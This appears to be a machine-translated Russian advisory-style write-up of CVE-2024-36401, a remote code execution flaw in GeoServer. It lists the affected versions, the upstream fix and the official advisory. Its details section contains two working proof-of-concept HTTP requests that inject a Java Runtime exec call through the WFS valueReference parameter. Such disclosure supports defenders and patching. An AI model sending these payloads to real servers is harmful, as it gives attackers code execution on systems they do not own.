0x00 Предисловие
GeoServer — это программный сервер на базе Java, который позволяет пользователям просматривать и редактировать геопространственные данные. Используя открытые стандарты, предложенные Открытым геопространственным консорциумом (OGC), GeoServer предлагает большую гибкость при создании карт и обмене данными.
GeoServer позволяет вам отображать вашу пространственную информацию миру. Реализуя стандарт Web Map Service (WMS), GeoServer может создавать карты в различных выходных форматах. Бесплатная библиотека карт OpenLayers интегрирована в GeoServer, что позволяет быстро и легко создавать карты. GeoServer построен на GeoTools, наборе инструментов Java GIS с открытым исходным кодом.
Совместим с функциями WMS и WFS, поддерживает PostgreSQL, Shapefile, ArcSDE, Oracle, VPF, MySQL, MapInfo, поддерживает сотни проекций, может выводить карты сети в форматы jpeg, gif, png, SVG, KML и другие и может работать в любом формате. компьютер на основе контейнера J2EE/Servlet, MapBuilder встроен в картографический клиент OpenLayers с поддержкой AJAX, а также многие другие функции.
0x01 Описание уязвимости
Когда API библиотеки GeoTools обрабатывает имена атрибутов типов объектов, эти имена атрибутов будут небезопасно передаваться в библиотеку commons-jxpath для анализа, поскольку библиотека commons-jxpath может выполнять произвольный код при анализе выражений XPath, что приводит к небезопасным аутентифицированным пользователям. могут удаленно выполнять код, используя определенные параметры запроса OGC.
0x02 номер CVE
CVE-2024-36401
0x03 затронутая версия
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
0x04 Подробности об уязвимости
POC:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
ссылка на ссылку 0x05
https://github.com/geotools/geotools/pull/4797
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
Статьи и инструменты в этом официальном аккаунте предназначены только для ознакомления. Любые прямые или косвенные последствия и ущерб, вызванные распространением и использованием информации, представленной в этом документе, несут ответственность самого пользователя этого официального аккаунта и автора. статья не несут за это никакой ответственности.